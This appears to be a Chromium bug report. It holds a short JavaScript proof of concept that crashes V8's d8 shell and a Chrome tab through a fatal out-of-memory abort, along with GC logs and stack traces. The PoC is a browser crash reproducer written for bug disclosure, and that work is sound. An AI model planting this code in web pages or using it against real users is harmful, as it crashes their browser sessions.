UserAgent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0

Steps to reproduce the problem:
1) ./d8 poc.js

or

2) Open special crafted html-file (based on poc.js) in Google Chrome (poc.html)

poc.js

var arr1 = [0,1];

function ObjCreate(make) {
  this.make = make;
}

var obj1 = new ObjCreate();

function main() {

	arr1.reduce(f3); 

	Object.getOwnPropertyDescriptors(Array(99).join(obj1.make));

}

function f3() {

	obj1["make"] = RegExp(Array(60000).join("CCC")); 
}
main();

What is the expected behavior?

What went wrong?
1) d8 is crash.

2) Tab in Google Chrome is crash.

<--- Last few GCs --->

[3915:0x62e000000400]      248 ms: Scavenge 1.4 (3.8) -> 0.8 (4.3) MB, 0.5 / 0.0 ms  (average mu = 1.000, current mu = 1.000) allocation failure 

<--- JS stacktrace --->

==== JS stack trace =========================================

Security context: 0x7ed8b899a101 <JSObject>
    0: builtin exit frame: getOwnPropertyDescriptors(this=0x7ed8b8981fc9 <JSFunction Object (sfi = 0x7ed77b607e11)>,0x7efaae380139 <Very long string[17639902]>,0x7ed8b8981fc9 <JSFunction Object (sfi = 0x7ed77b607e11)>)

    1: main [0x7ed8b89a44a1] [16.js:16] [bytecode=0x7ed8b89a4829 offset=72](this=0x7ecd619001d9 <JSGlobal Object>)
    2: /* anonymous */ [0x7ed8b89a42a9] [16.js:25] [bytecode=0x...

#
# Fatal javascript OOM in invalid table size
#

Received signal 4 ILL_ILLOPN 5584bbdbb75c

==== C stack trace ===============================

 [0x5584b9d7ae21]
 [0x5584bbdc3dbf]
 [0x7f43962e4890]
 [0x5584bbdbb75c]
 [0x5584b9e7560d]
 [0x5584b9e7550e]
 [0x5584bab287e9]
 [0x5584bb0eddfe]
 [0x5584bb0ee0e2]
 [0x5584bb0f61c0]
 [0x5584bae7faec]
 [0x5584ba9bf3d9]
 [0x5584bae86f01]
 [0x5584bae83739]
 [0x5584bae811a0]
 [0x5584bae854c8]
 [0x5584bae7f292]
 [0x5584ba1007c1]
 [0x5584bbc3820b]
[end of stack trace]
Illegal instruction (core dumped)

Did this work before? N/A 

Chrome version: <Copy from: 'about:version'>  Channel: n/a
OS Version: 10.0
Flash Version: